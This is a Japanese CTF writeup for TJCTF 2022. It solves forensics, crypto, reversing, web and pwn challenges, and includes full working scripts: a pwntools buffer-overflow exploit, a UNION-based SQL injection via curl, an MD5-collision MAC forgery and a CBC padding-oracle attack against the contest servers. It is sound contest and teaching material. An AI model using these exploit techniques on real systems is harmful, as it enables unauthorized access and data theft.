TJCTF 2022 Writeup

この大会は2022/5/14 8:00(JST)~2022/5/16 8:00(JST)に開催されました。
今回もチームで参戦。結果は5557点で768チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

twist-cord (misc)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグの前半が書いてある。

tjctf{please_enjoy

Twitterの方を見てみると、フラグの後半が書いてある。

_b6fd3b11fc5393c8}
tjctf{please_enjoy_b6fd3b11fc5393c8}

lamb-sauce (web)

HTMLソースを見ると、コメントに以下のように書いてある。

<!-- <a href="/flag-9291f0c1-0feb-40aa-af3c-d61031fd9896.txt"> is it here? </a> -->

https://lamb-sauce.tjc.tf/flag-9291f0c1-0feb-40aa-af3c-d61031fd9896.txtにアクセスすると、フラグが表示された。

tjctf{idk_man_but_here's_a_flag_462c964f0a177541}

fake-geoguessr (forensics)

$ exiftool lake.jpg 
    :
Copyright                       : tjctf{thats_a_
    :
Current IPTC Digest             : b443520a10119da99c2550175e6d0efb
Envelope Record Version         : 4
Coded Character Set             : UTF8
Application Record Version      : 4
IPTC Digest                     : b443520a10119da99c2550175e6d0efb
Comment                         : lot_of_metadata}
Image Width                     : 3264
Image Height                    : 2448
    :

Copyrightにフラグの前半、Commentにフラグの後半が設定されていた。

tjctf{thats_a_lot_of_metadata}

cool-school (forensics)

StegSolveで開き、Gray bitsを見ると、フラグが現れる。

tjctf{l0l_st3g_s0_co0l}

rsa-apprentice (crypto)

nを素因数分解する。

n = 1033247481589406269253 * 1177043968824330681533

あとは通常通りc1とc2について復号し、文字列化したものを結合する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 1216177716507739302616478655910148392804849
e = 65537
c1 = 257733734393970582988408159581244878149116
c2 = 843105902970788695411197846605744081831851

p = 1033247481589406269253
q = 1177043968824330681533
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m1 = pow(c1, d, n)
m2 = pow(c2, d, n)

flag = (long_to_bytes(m1) + long_to_bytes(m2)).decode()
print(flag)
tjctf{n0t_s0_S3cur3_Cryp70}

flimsy-fingered-latin-teacher (crypto)

Dellのキーボードのキーレイアウトで左にシフトする。
以下の商品のキーレイアウトを参考にする。

https://www.u-buy.jp/jp/product/1YXNN9Y-dell-oem-genuine-usb-104-key-black-wired-keyboard-rh659-l100-sk-8115
ykvyg}pp[djp,rtpelru[pdoyopm|
    ↓
tjctf{oopshomerowkeyposition}
tjctf{oopshomerowkeyposition}

spongebob (forensics)

バイナリエディタPNGのIHDRチャンクの高さを大きくすると、4コマ目にフラグが現れた。

tjctf{such_pogg3rs_ctf}

take-a-l (rev)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  size_t sVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  ulong local_68;
  byte local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("What\'s your flag?");
  fgets((char *)local_58,0x40,stdin);
  sVar1 = strlen((char *)local_58);
  if (sVar1 == 0x1a) {
    for (local_68 = 0; local_68 < 0x19; local_68 = local_68 + 1) {
      if (((&flag)[local_68] ^ local_58[local_68]) != 0x12) {
        puts("L");
        uVar2 = 1;
        goto LAB_00101278;
      }
    }
    puts("W");
    uVar2 = 0;
  }
  else {
    puts("L");
    uVar2 = 1;
  }
LAB_00101278:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

                             flag                                            XREF[3]:     Entry Point(*), main:0010122e(*), 
                                                                                          main:0010123c(R)  
        00102010 66              ??         66h    f
        00102011 78              ??         78h    x
        00102012 71              ??         71h    q
        00102013 66              ??         66h    f
        00102014 74              ??         74h    t
        00102015 69              ??         69h    i
        00102016 75              ??         75h    u
        00102017 75              ??         75h    u
        00102018 75              ??         75h    u
        00102019 73              ??         73h    s
        0010201a 7f              ??         7Fh    
        0010201b 77 60 61        ds         "w`aaaaaaaaa'ao"
                 61 61 61 
                 61 61 61 

フラグの各文字のASCIIコードと0x12のXORが上記のflagの各値になる。

#!/usr/bin/env python3

with open('chall', 'rb') as f:
    enc = f.read()[0x2010:0x2010+0x1a-1]

flag = ''
for c in enc:
    flag += chr(c ^ 0x12)
print(flag)
tjctf{gggamersssssssss5s}

vacation-1 (pwn)

$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2e3698583da34ac3bed68f505121c5311ef408c9, for GNU/Linux 3.2.0, not stripped

$ checksec.sh --file chall
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   chall

BOFでshell_land関数をコールすればよい。

$ gdb -q ./chall
Reading symbols from ./chall...(no debugging symbols found)...done.
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall 
Where am I going today?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.







[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffdde0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RBX: 0x0 
RCX: 0x1f 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x7fffffffdde0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RDI: 0x7fffffffdde1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RBP: 0x41412d4141434141 ('AACAA-AA')
RSP: 0x7fffffffddf8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RIP: 0x4011df (<vacation+50>:	ret)
R8 : 0x405293 --> 0x0 
R9 : 0x7ffff7fde4c0 (0x00007ffff7fde4c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x4010b0 (<_start>:	endbr64)
R13: 0x7fffffffdee0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011d8 <vacation+43>:	call   0x4010a0 <fgets@plt>
   0x4011dd <vacation+48>:	nop
   0x4011de <vacation+49>:	leave  
=> 0x4011df <vacation+50>:	ret    
   0x4011e0 <main>:	endbr64 
   0x4011e4 <main+4>:	push   rbp
   0x4011e5 <main+5>:	mov    rbp,rsp
   0x4011e8 <main+8>:	
    mov    rax,QWORD PTR [rip+0x2e61]        # 0x404050 <stdout@@GLIBC_2.2.5>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n")
0008| 0x7fffffffde00 ("A)AAEAAaAA0AAFAAbA\n")
0016| 0x7fffffffde08 ("AA0AAFAAbA\n")
0024| 0x7fffffffde10 --> 0xa4162 ('bA\n')
0032| 0x7fffffffde18 --> 0x7fffffffdee8 --> 0x7fffffffe23e ("/mnt/hgfs/Shared/chall")
0040| 0x7fffffffde20 --> 0x100008000 
0048| 0x7fffffffde28 --> 0x4011e0 (<main>:	endbr64)
0056| 0x7fffffffde30 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011df in vacation ()
gdb-peda$ patto (AADAA;AA)AAEAAaAA0AAFAAbA
(AADAA;AA)AAEAAaAA0AAFAAbA found at offset: 24

$ ROPgadget --binary chall | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('tjc.tf', 31680)
else:
    p = process('./chall')

elf = ELF('./chall')

ret_addr = 0x40101a
shell_land_addr = elf.symbols['shell_land']

payload = b'A' * 24
payload += p64(ret_addr)
payload += p64(shell_land_addr)

data = p.recvline().rstrip().decode()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to tjc.tf on port 31680: Done
[*] '/mnt/hgfs/Shared/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Where am I going today?
b'AAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x96\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
tjctf{wh4t_a_n1c3_plac3_ind33d!_7609d40aeba4844c}
tjctf{wh4t_a_n1c3_plac3_ind33d!_7609d40aeba4844c}

game-leaderboard (web)

profile_idがわからないので、SQLインジェクションで取り出す。

$ curl https://game-leaderboard.tjc.tf/ -d 'filter=100 union select profile_id, profile_id, name FROM leaderboard'
<!DOCTYPE >
<html>
	<head>
        <meta charset="utf-8">
        <title>Leaderboard</title>
        <link href="/styles.css" rel="stylesheet">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
    </head>
	<body class="min-h-full flex flex-col">
		<div class="px-4 py-2 flex flex-col flex-grow items-center">
            <div class="w-full md:w-1/2">
                <div class="font-bold text-4xl text-center mb-4">
                    Leaderboard
                </div>
                <div class="mb-3 flex flex-row">
                    <div class="w-3/4">
                        <form action="/" method="POST">
                            <label for="filter-input">Filter:</label>
                            <input type="number" id="filter-input" name="filter" class="border border-black" autocomplete="off" >
                            <input type="Submit" value="Submit" class="border border-black px-2">
                        </form>
                    </div>
                </div>
                <table class="w-full">
                    <thead class="font-bold">
                        <td>#</td>
                        <td>Name</td>
                        <td class="text-center">Score</td>
                    </thead>
                    <tbody id="table-body">
                        
                        <tr>
                            <td>1</td>
                            <td>cd09e81388481564</td>
                            <td class="text-center">superandypancake</td>
                        </tr>
                        
                        <tr>
                            <td>2</td>
                            <td>2079e3c533c66de9</td>
                            <td class="text-center">redfrog</td>
                        </tr>
                        
                        <tr>
                            <td>3</td>
                            <td>7ce961eb790a07fd</td>
                            <td class="text-center">g_gamer</td>
                        </tr>
                        
                        <tr>
                            <td>4</td>
                            <td>8d27b182818c41fd</td>
                            <td class="text-center">dn</td>
                        </tr>
                        
                        <tr>
                            <td>5</td>
                            <td>445394d1f3a48394</td>
                            <td class="text-center">Super A. Austin</td>
                        </tr>
                        
                    </tbody>
                </table>
            </div>
        </div>
    </body>
</html>

rank 1 の dnユーザのユーザIDは 8d27b182818c41fd であるとわかった。

$ curl https://game-leaderboard.tjc.tf/user/8d27b182818c41fd
<!DOCTYPE >
<html>
	<head>
        <meta charset="utf-8">
        <title>User Information</title>
        <link href="/styles.css" rel="stylesheet">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
    </head>
	<body class="min-h-full flex flex-col">
		<div class="px-4 py-2 flex flex-col flex-grow items-center">
            
            <div class="w-full md:w-1/2">
                <div class="font-bold text-4xl text-center mb-4">
                    Profile Page
                </div>
                <div>
                    <div class="text-2xl">
                        <b>User:</b>
                        dn
                    </div>
                    <div class="text-xl">
                        <b>Score:</b>
                        63
                    </div>
                    <div class="text-lg mb-3">
                        You are rank 1 out of 5.
                    </div>
                    <div>
                        tjctf{h3llo_w1nn3r_0r_4re_y0u?}
                    </div>
                    <div>
                        <a href="/" class="text-blue-700 underline">Return to Leaderboard</a>
                    </div>
                </div>
            </div>
            
        </div>
    </body>
</html>
tjctf{h3llo_w1nn3r_0r_4re_y0u?}

morph-master (crypto)

サーバの処理概要は以下の通り。

・N = 1024
・p, q: Nビット素数
・n = p * q
・s = n ** 2
・λ = (p - 1) * (q - 1) // GCD(p - 1, q - 1)
・g: 1以上s未満ランダム整数
・L(x) = (x - 1) // n
・μ = pow(L(pow(g, λ, s)), -1, n)
・nを表示
・encrypt(4)を表示
・c: 数値入力
・m = decrypt(c)
・long_to_bytes(m) == b"Please give me the flag"の場合、フラグを表示

Paillier暗号のようだ。加法準同型性の特性を使って解く。目的の平文の数値は7703033469609239351985350025414201079417630703156486503。

7703033469609239351985350025414201079417630703156486503
= 4 + 4 + ... + 4 + 3

4の倍数にしたいので、sを何回かプラスする。sは必ず4で割った余りは1なので、1回プラスすればよい。

E(7703033469609239351985350025414201079417630703156486503)
= E(7703033469609239351985350025414201079417630703156486503 + s)
= E(4) * E(4) * ... * E(4) * E(4) % s
= pow(E(4), count, s)
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

target = bytes_to_long(b"Please give me the flag")
print('[+] target:', target)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('tjc.tf', 31996))

data = recvuntil(sock, b'\n').rstrip()
print(data)
n = int(data.split('(')[-1].split(',')[0])
s = n ** 2
assert s % 4 == 1

data = recvuntil(sock, b'\n').rstrip()
print(data)
e_4 = int(data.split(' ')[-1])

assert (target + s) % 4 == 0
count = (target + s) // 4
c = pow(e_4, count, s)

data = recvuntil(sock, b':\n').rstrip()
print(data)
print(c)
sock.sendall(str(c).encode() + b'\n')
data = recvuntil(sock, b'\n').rstrip()
print(data)
data = recvuntil(sock, b'\n').rstrip()
print(data)

実行結果は以下の通り。

[+] target: 7703033469609239351985350025414201079417630703156486503
public key (n, g) = (23356427598445943771486889459897859564703708676241408366278213136210132223593795569808177874877593274317362903036596063251724976154699574516019212254613012243316329076141630367496462146851952416405455050375136692177269204537733728947788538186951274669216160978929564188598976487197824334342781271702829009872334248633205557709498246586485917969706242497831002607134790885879464161894929297041644070008044080498082054303082075446099617217628740775628517596245815562226492617616367712996123578001842459568009145585227189143088217055813812608664615355151511599495979536918857047827717135505904055389547818746021837303437, ?)
E(4) = 427079017876072702071646694690101438218316096228100154530028171213966011717918602215179027021639092651693225616278304932041250411005915610241140005737951044326128724383157074385173721641961569196091454749078956261971184235165294758556174566494167363937992047056431408859594058312010895581723212661831332212987947534410821638047570224690285293911555835091820894581115884277075355053180089180944977364566078685910011473278529813736598250131848412301341632094657987221890495863350775886839493164644200087795566260429344382921316663799767476303157900455297863009042689970592043206729668650925371572519564675626450387002479179509807042478418181442693030201331159847665709026233464027940341885081652793696422990138984010905372054788868051550652539247940009431353488406299755461602074349367713273175229834371380338388813562604408964581888340332434718940110997928741092776372380796264393932028240232352226549922865084621771187957252035255216116847294245050403087478682595399692234961683068732968555017779404999459260761861874496970221466554638818189887176939000289370913139325987105056222853863002534743261660392881897654097033887175102382993864316449257353381954758659988915434941001577865838897494791018970281174281883769499378548433483357

Encrypt 'Please give me the flag' for your flag:
183629716004917738319798152310571908033728299675855124053762417524532831323859135399290648158162050065252264943241824527466829680289195571969935522410223320010224384693148194285661671280125555744545168766704755553886087432957101013488715109819032501570619447551851104455302677704297374980075895733329831859887470694571486374000454366931932917094365735570604501793891651116034270898748628851365284582836483130210788418517848529812718866831219432585636338220718231015266722219234713123508567987017580926116410395772053363943224590504671445024230982828618403914978591549517394663741950477553508955910555407876842626764909663202299274968483035072208724588229818618550816976387958567817423143816166905763028846033146704506116536661103477749183765051382480490095225380303393684693014194427905693905047552758310182108393890219293133086545639894755570484450796805658207440780665597912391156070615640002976605260445449135529613693933242231535860842175132594164238282969687620824962689243283569647623183416761078847612125322822017545314368168198562543917598460516940765998861701601254585407337333338265483512262184968572066542960948067844765520968928083750899590657353521409116815234770552792318684914518554950223434697385950622895384017159530
Okay!
tjctf{M0rph1Ng_1S_pr3t7y_c0ol_1snt_it?}
tjctf{M0rph1Ng_1S_pr3t7y_c0ol_1snt_it?}

mac-master (crypto)

サーバの処理概要は以下の通り。

・QUERIED: 空集合
・KEY: ランダム16バイト
・以下繰り返し
 ・メニュー選択
 ・1を選択した場合
  ・hex_message: 16進数文字列入力
  ・message: hex_messageのhexデコード
  ・QUERIEDにmessage追加
  ・Tag(=nmac(message))表示
   ・message + KEYのmd5ダイジェスト(hex)
 ・2を選択した場合
  ・hex_message: 16進数文字列入力
  ・tag: Tag入力
  ・message: hex_messageのhexデコード
  ・QUERIEDにmessageがある場合、該当メッセージを表示する。
  ・QUERIEDにmessageがなく、nmac(message) == tagの場合、フラグを表示

MD5の衝突の問題。衝突するファイルを作成する。

$ echo -n base > base
$ ./clone-fastcoll/fastcoll base
Generating first block: ....
Generating second block: S10...
use 'md5sum md5_data*' check MD5
$ md5sum md5_data1
74ccb68f8b2a9ced205e8685875624ed  md5_data1
$ md5sum md5_data2
74ccb68f8b2a9ced205e8685875624ed  md5_data2
$ sha1sum md5_data1
6af160c6047faaaffa11f82497a2592e6f50e407  md5_data1
$ sha1sum md5_data2
11c0ee3d6e70c737c4e7751daa14373ed7874f20  md5_data2

あとはこのデータを使えば、後ろに同じデータが結合されてもMD5は同じになるので、フラグが得られる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tjc.tf', 31415))

for _ in range(5):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

with open('md5_data1', 'rb') as f:
    hex_message1 = f.read().hex()

with open('md5_data2', 'rb') as f:
    hex_message2 = f.read().hex()

#### get the tag ####
data = recvuntil(s, b'Challenge\n').rstrip()
print(data)
print('1')
s.sendall(b'1\n')
data = recvuntil(s, b':\n').rstrip()
print(data)
print(hex_message1)
s.sendall(hex_message1.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
tag = data.split(' ')[-1]

#### challenge ####
data = recvuntil(s, b'Challenge\n').rstrip()
print(data)
print('2')
s.sendall(b'2\n')
data = recvuntil(s, b':\n').rstrip()
print(data)
print(hex_message2)
s.sendall(hex_message2.encode() + b'\n')
data = recvuntil(s, b': ')
print(data + tag)
s.sendall(tag.encode() + b'\n')
for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

実行結果は以下の通り。

Introducing Neil-MAC (NMAC), the future of hash-based message
authentication codes!

No longer susceptible to those pesky length extension attacks!

What do you want to do?
1) Query a message
2) Challenge
1
What message would you like to query a tag for?
Enter message hex-encoded:
62617365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000db5484df119098166af7c03d9e677d1b9ab08eb4fc1f21e8233a3b8a5744ba53ecbbf9e46ac389da872477e1943b3942b39e7b0b2efb0d2deb8431c50193c49140908cdf61796a8a713004fbe867f10317c486536c5e22298bb340682b60a8c7cf6b3818a786325ef7024e5b6d5f16535d0aaa134135641b1cc7e1d583a108d9
Tag: 29c7dd18f5d6df85ebcfbcdcb47ec983
What do you want to do?
1) Query a message
2) Challenge
2
Challenge time!
Enter message hex-encoded:
62617365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000db5484df119098166af7c03d9e677d1b9ab08e34fc1f21e8233a3b8a5744ba53ecbbf9e46ac389da872477e194bb3942b39e7b0b2efb0d2deb8431450193c49140908cdf61796a8a713004fbe867f10317c486d36c5e22298bb340682b60a8c7cf6b3818a786325ef7024e5b6ddf15535d0aaa134135641b1cc7e15583a108d9
Tag: 29c7dd18f5d6df85ebcfbcdcb47ec983
Nice job!
Flag: tjctf{i_pr0baBly_sh0Uldnt_r0LL_my_0wn_M4CS}
tjctf{i_pr0baBly_sh0Uldnt_r0LL_my_0wn_M4CS}

7sckp (crypto)

$ nc tjc.tf 31566
Hi! Welcome to our oracle, now extra secure because of our custom padding!
We have this really cool secret here: 79141cb410cc95136c9c354e88e3891b62b621a4d3a7e5f3f8fecf02e444993e41e15c4a6a4a6cb4ca6ae0fd1b749481
Ciphertext: 

AES CBC Padding Oracle Attackの応用問題。パディングの方法が異なるので、その方法に合わせて、チェックを行う。

#!/usr/bin/env python3
import socket
import random
from time import time
from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def pad(msg, block_size):
    random.seed(seed)
    p = b''
    pad_len = block_size - (len(msg) % block_size)
    while len(p) < pad_len:
        b = bytes([random.randrange(256)])
        if b not in p:
            p += b

    return msg + p

def unpad(msg, block_size):
    random.seed(seed)
    p = b''
    while len(p) < block_size:
        b = bytes([random.randrange(256)])
        if b not in p:
            p += b

    if p[0] not in msg:
        raise ValueError('Bad padding')

    pad_start = msg.rindex(p[0])
    if msg[pad_start:] != p[:len(msg) - pad_start]:
        raise ValueError('Bad padding')

    return msg[:pad_start]

def is_valid(s, ct):
    data = recvuntil(s, b': ')
    print(data + ct)
    s.sendall(ct.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data == 'ok':
        return True
    else:
        return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tjc.tf', 31566))

data = recvuntil(s, b'\n').rstrip()
print(data)
seed = int(time() // 10)
data = recvuntil(s, b'\n').rstrip()
print(data)

ct = bytes.fromhex(data.split(' ')[-1])
ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]

padding = pad(b'', AES.block_size)

xor_blocks = []
for i in range(1, len(ct_blocks)):
    xor_block = b''
    for j in range(16):
        for code in range(256):
            print('[+] %d - %d - %d: %s' % (i, j, code, xor_block.hex()))
            if j > 0:
                print('****', strxor(xor_block, ct_blocks[i-1][-j:]), '****')
            try_pre_block = b'\x00' * (16 - j - 1) + bytes([code]) + strxor(xor_block, padding[1:j + 1])
            try_cipher = (try_pre_block + ct_blocks[i]).hex()
            if is_valid(s, try_cipher):
                xor_code = padding[0] ^ code
                xor_block = bytes([xor_code]) + xor_block
                break

    xor_blocks.append(xor_block)

flag = b''
for i in range(len(xor_blocks)):
    flag += strxor(ct_blocks[i], xor_blocks[i])

flag = unpad(flag, AES.block_size).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

Hi! Welcome to our oracle, now extra secure because of our custom padding!
We have this really cool secret here: da74328b501e5a7ba8925402ce5fa86e598a1d437accdc4d9dee5456eb2134951b27624f9133d5e57f9fad2223d0b8bd
[+] 1 - 0 - 0: 
Ciphertext: 00000000000000000000000000000000598a1d437accdc4d9dee5456eb213495
error!!!
[+] 1 - 0 - 1: 

Ciphertext: 00000000000000000000000000000001598a1d437accdc4d9dee5456eb213495
error!!!
[+] 1 - 0 - 2: 

Ciphertext: 00000000000000000000000000000002598a1d437accdc4d9dee5456eb213495
error!!!
[+] 1 - 0 - 3: 

Ciphertext: 00000000000000000000000000000003598a1d437accdc4d9dee5456eb213495
error!!!
[+] 1 - 0 - 4: 

Ciphertext: 00000000000000000000000000000004598a1d437accdc4d9dee5456eb213495
error!!!
                :
                :
[+] 2 - 15 - 34: bb532425fbbe7fa9de6167895c7d9c
**** b'1Ng_7b24051b}I\t' ****

Ciphertext: 22b2e012d5ea2c19a488565874c6d4b91b27624f9133d5e57f9fad2223d0b8bd
error!!!
[+] 2 - 15 - 35: bb532425fbbe7fa9de6167895c7d9c
**** b'1Ng_7b24051b}I\t' ****

Ciphertext: 23b2e012d5ea2c19a488565874c6d4b91b27624f9133d5e57f9fad2223d0b8bd
error!!!
[+] 2 - 15 - 36: bb532425fbbe7fa9de6167895c7d9c
**** b'1Ng_7b24051b}I\t' ****

Ciphertext: 24b2e012d5ea2c19a488565874c6d4b91b27624f9133d5e57f9fad2223d0b8bd
error!!!
[+] 2 - 15 - 37: bb532425fbbe7fa9de6167895c7d9c
**** b'1Ng_7b24051b}I\t' ****

Ciphertext: 25b2e012d5ea2c19a488565874c6d4b91b27624f9133d5e57f9fad2223d0b8bd
ok
[*] flag: tjctf{r4nd0m_p4d51Ng_7b24051b}
tjctf{r4nd0m_p4d51Ng_7b24051b}